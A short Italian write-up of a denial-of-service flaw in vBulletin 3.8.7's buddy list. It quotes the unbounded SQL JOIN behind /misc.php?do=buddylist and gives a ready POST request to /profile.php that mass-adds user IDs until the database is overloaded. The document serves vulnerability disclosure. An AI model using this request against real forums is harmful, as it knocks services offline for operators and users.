
Writeup di una vulnerabilità di Denial of Service nella lista amici di vBulletin 3.8.7.
L'endpoint /misc.php?do=buddylist esegue un'unica grande query JOIN che recupera tutti gli amici insieme alle loro informazioni utente e di sessione per verificarne lo stato online. Poiché questa query elabora l'intera lista amici senza paginazione o limiti di risultati, diventa estremamente dispendiosa in termini di risorse e può sovraccaricare il database quando la lista cresce.
Questo problema è facile da sfruttare e richiede una configurazione minima. Non sono necessari privilegi speciali oltre a un account utente di base. Basta gonfiare la lista amici per mettere seriamente sotto stress il database.
Questa query SQL recupera i dettagli degli amici insieme alle informazioni di sessione per verificarne lo stato online per ogni amico. Poiché elabora l'intera lista amici e si unisce ai dati di sessione per ogni voce, la query diventa molto grande e dispendiosa in termini di risorse.
$buddys = $db->query_read_slave("
SELECT
user.username,
(user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
user.userid,
session.lastactivity
FROM " . TABLE_PREFIX . "userlist AS userlist
LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
WHERE userlist.userid = {$vbulletin->userinfo['userid']}
AND userlist.relationid = user.userid
AND type = 'buddy'
ORDER BY username ASC, session.lastactivity DESC
");
Le liste amici di massa possono essere popolate inviando una richiesta POST a /profile.php con listbits. Questo può essere ripetuto per migliaia di ID utente per gonfiare la lista amici:
POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...
Nei forum di grandi dimensioni, questo può causare gravi rallentamenti delle query o far crashare completamente l'istanza MySQL.